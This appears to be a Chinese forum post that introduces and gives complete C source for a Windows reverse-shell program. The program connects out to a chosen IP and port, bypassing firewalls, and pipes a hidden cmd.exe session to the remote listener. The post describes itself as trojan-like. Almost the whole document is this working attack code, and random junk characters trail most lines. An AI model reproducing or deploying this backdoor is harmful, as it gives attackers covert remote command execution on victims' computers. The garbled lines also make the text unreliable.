这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zNoFM/1Vb
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/* ============================== HF_8661g
Rebound port in Windows NT ss-6b^
By wind,2006/7 eA-oqolY
===============================*/ nK?S2/o#A
#include C~@m6K
#include &Mudu/KTr
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#pragma comment(lib,"wsock32.lib") E?P>s T3B
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void OutputShell(); r~f;g9I
SOCKET sClient; V@-Q&K#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Hv^Bw{"/R
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void main(int argc,char **argv) ./Ek+p*96H
{ 6o3#<ap<
WSADATA stWsaData; RO/(Ldh
int nRet; B>!mD{N
SOCKADDR_IN stSaiClient,stSaiServer; bEQ- ?X%7
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if(argc != 3) 0+@:f^3]!
{ ZCc23UwI
printf("Useage:\n\rRebound DestIP DestPort\n"); 6Z J-oT!.
return; zb!1o0, J
} j7gTVfO
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WSAStartup(MAKEWORD(2,2),&stWsaData); )?(Ux1:w)
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /NCN wAj7
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stSaiClient.sin_family = AF_INET; l7^^MnkC
stSaiClient.sin_port = htons(0); U), HrI>;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) la-:"gKC
{ *!&?Xy%\"j
printf("Bind Socket Failed!\n"); ,pGA|ob
return; 4}/gV)
} f)z(9JJL
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stSaiServer.sin_family = AF_INET; W$NFk(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Aixe?A_x
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q. O4R_H
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *P`wuXn}
{ :" !Z9l\@
printf("Connect Error!"); K&NH?
return; ;)CN=J!
} 1@t.J>
OutputShell(); ki@C}T5
} H8? Y{H
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void OutputShell() S!=R\_{u$
{ IBJNs$
char szBuff[1024]; 2xO[ ?fR
SECURITY_ATTRIBUTES stSecurityAttributes; =wDXlAQ
OSVERSIONINFO stOsversionInfo; r.zgLZ}3&V
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }Cw,m0KV/
STARTUPINFO stStartupInfo; f*Q9u >1p
char *szShell; i^.eX
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PROCESS_INFORMATION stProcessInformation; $Uy+]9
unsigned long lBytesRead; ^?""'1iuQx
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X5J )1rL
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a7ZufB/
stSecurityAttributes.lpSecurityDescriptor = 0; sZ&|omN
stSecurityAttributes.bInheritHandle = TRUE; S8/~'<out
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mKO~`Wq%@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U.t][#<3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); H2:
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <af#
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stStartupInfo.wShowWindow = SW_HIDE; ,v8e7T
stStartupInfo.hStdInput = hReadPipe; |w*s:p
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Fd<Ouyxqe
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GetVersionEx(&stOsversionInfo); ,IboPh&Q78
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switch(stOsversionInfo.dwPlatformId) ]j/=
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{ *,lDo9
case 1: CA`V)XIsP
szShell = "command.com"; zc)nDyn
break; _p0Yhju?
default: Evm3Sm!S
szShell = "cmd.exe"; [=jZP,b&),
break; k $gcQ:|
} Sj(>G;
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -kLBq:M
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send(sClient,szMsg,77,0); |U{~t<BF#
while(1) _yN5sLLyb
{ $aJay]F
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); t>}S@T{~T
if(lBytesRead) )$E){(Aa
{ [}HPV+j=U
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);
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send(sClient,szBuff,lBytesRead,0); i:jXh9+
} "*X\'LPs=
else g{}<ptx]
{ 8el6z2
lBytesRead=recv(sClient,szBuff,1024,0); E<3xv;v8r
if(lBytesRead<=0) break; `0]N#G
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GZrN,M
} hfY/)-60o
} Fn`Zw:vp6
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return; "M
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}